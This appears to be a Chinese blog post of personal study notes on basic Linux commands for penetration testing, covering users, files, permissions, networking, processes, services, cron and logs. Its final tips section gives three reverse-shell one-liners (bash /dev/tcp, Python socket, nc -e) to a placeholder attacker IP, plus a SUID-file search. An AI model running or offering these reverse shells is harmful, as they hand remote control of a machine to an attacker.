Linux基础命令与操作

概述

Linux系统是服务器端最常用的操作系统,在渗透测试中经常会接触到。掌握Linux基础命令对于后渗透、权限维持、应急响应都非常重要。本文整理了Linux常用的基础命令。

一、用户管理

1. 创建用户

# 创建用户
useradd 用户名
useradd -m 用户名        # 同时创建家目录
useradd -s /bin/bash 用户名  # 指定shell

# 设置密码
passwd 用户名

# 创建用户并设置密码
useradd -m 用户名 && echo "用户名:密码" | chpasswd

2. 删除用户

# 删除用户
userdel 用户名
userdel -r 用户名        # 同时删除家目录

3. 用户组操作

# 创建用户组
groupadd 组名

# 将用户添加到组
usermod -aG 组名 用户名

# 查看用户所属组
groups 用户名
id 用户名

4. 查看用户

# 查看所有用户
cat /etc/passwd

# 查看当前用户
whoami

# 查看登录用户
who
w

二、文件操作

1. 目录操作

# 进入目录
cd 目录路径
cd ..           # 返回上一级
cd ~            # 返回家目录
cd -            # 返回上次目录

# 查看目录内容
ls
ls -a           # 显示隐藏文件
ls -l           # 详细信息
ls -la          # 显示所有文件详细信息

# 创建目录
mkdir 目录名
mkdir -p a/b/c  # 创建多级目录

# 删除目录
rmdir 目录名
rm -rf 目录名   # 强制删除目录及内容

2. 文件操作

# 查看文件内容
cat 文件名
more 文件名     # 分页查看
less 文件名     # 可上下翻页
head -n 10 文件名  # 查看前10行
tail -n 10 文件名  # 查看后10行
tail -f 文件名     # 实时查看

# 创建文件
touch 文件名

# 写入文件
echo 内容 > 文件名      # 覆盖写入
echo 内容 >> 文件名     # 追加写入

# 复制文件
cp 源文件 目标路径
cp -r 源目录 目标路径   # 复制目录

# 移动/重命名
mv 文件 目标路径
mv 旧文件名 新文件名

# 删除文件
rm 文件名
rm -f 文件名            # 强制删除

3. 文件权限

# 查看权限
ls -l
# -rwxr-xr-x 1 root root 4096 Jan 1 00:00 file
# r=4 w=2 x=1

# 修改权限
chmod 755 文件名
chmod +x 文件名         # 添加执行权限
chmod -R 755 目录名     # 递归修改

# 修改所有者
chown 用户名:组名 文件名
chown -R 用户名:组名 目录名

三、网络操作

1. 查看网络配置

# 查看IP配置
ip addr
ifconfig

# 查看路由
ip route
route -n

# 查看DNS
cat /etc/resolv.conf

2. 查看网络连接

# 查看网络连接和端口
netstat -tulnp          # 显示所有监听端口
netstat -anp            # 显示所有连接
ss -tulnp               # 替代netstat

# 查找指定端口
netstat -tulnp | grep "端口号"

# 查看ARP缓存
arp -a

3. 网络测试

# ping测试
ping 目标IP
ping -c 10 目标IP       # ping 10次

# traceroute路由追踪
traceroute 目标IP

# telnet测试端口
telnet 目标IP 端口
nc -zv 目标IP 端口      # 测试端口连通性

四、进程管理

1. 查看进程

# 查看所有进程
ps aux
ps -ef

# 查看指定进程
ps aux | grep 进程名

# 实时查看进程
top
htop

2. 结束进程

# 按PID结束
kill PID号
kill -9 PID号           # 强制结束

# 按进程名结束
killall 进程名
pkill 进程名

五、服务管理

1. systemctl命令

# 查看服务状态
systemctl status 服务名

# 启动/停止/重启服务
systemctl start 服务名
systemctl stop 服务名
systemctl restart 服务名

# 设置开机启动
systemctl enable 服务名
systemctl disable 服务名

# 查看所有服务
systemctl list-unit-files

2. service命令

# 启动/停止/重启服务
service 服务名 start
service 服务名 stop
service 服务名 restart

六、计划任务

1. crontab

# 编辑计划任务
crontab -e

# 查看计划任务
crontab -l

# 删除计划任务
crontab -r

# crontab格式
# 分 时 日 月 周 命令
# * * * * * command
# 0 */2 * * * command    # 每2小时执行
# 0 0 * * * command      # 每天0点执行

2. 其他定时任务

# at一次性任务
at 时间
at> 命令
at> Ctrl+D

# 查看at任务
atq

七、系统信息

# 查看系统信息
uname -a
cat /etc/os-release

# 查看内核版本
uname -r

# 查看CPU信息
lscpu
cat /proc/cpuinfo

# 查看内存信息
free -h
cat /proc/meminfo

# 查看磁盘信息
df -h
lsblk

八、日志查看

# 系统日志
cat /var/log/syslog
cat /var/log/messages

# 登录日志
cat /var/log/auth.log
last                    # 查看登录历史
lastb                   # 查看失败登录

# 应用日志
tail -f /var/log/nginx/access.log
tail -f /var/log/nginx/error.log

九、常用技巧

1. 查看端口对应进程

# 查看占用端口的进程
netstat -tulnp | grep ":80"
lsof -i:80

2. 查找文件

# find命令
find / -name "文件名"
find / -type f -name "*.conf"
find / -perm -4000        # 查找SUID文件

3. 文本处理

# grep搜索
grep "关键词" 文件名
grep -r "关键词" 目录名
grep -i "关键词" 文件名   # 忽略大小写

# awk处理
awk '{print $1}' 文件名
awk -F: '{print $1}' /etc/passwd

# sed替换
sed 's/原内容/新内容/g' 文件名

4. 反弹Shell

# bash反弹
bash -i >& /dev/tcp/攻击机IP/端口 0>&1

# python反弹
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

# nc反弹
nc -e /bin/sh 攻击机IP 端口

总结

Linux基础命令是渗透测试的基本功,需要熟练掌握:

  1. 用户管理:创建、删除、提权、SUID
  2. 文件操作:增删改查、权限管理
  3. 网络操作:IP配置、端口查看、网络测试
  4. 进程管理:查看、结束进程
  5. 服务管理:启动、停止、开机启动
  6. 计划任务:crontab定时执行
  7. 日志查看:系统日志、登录日志

本文为个人学习笔记,整理了Linux常用基础命令,供渗透测试参考。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注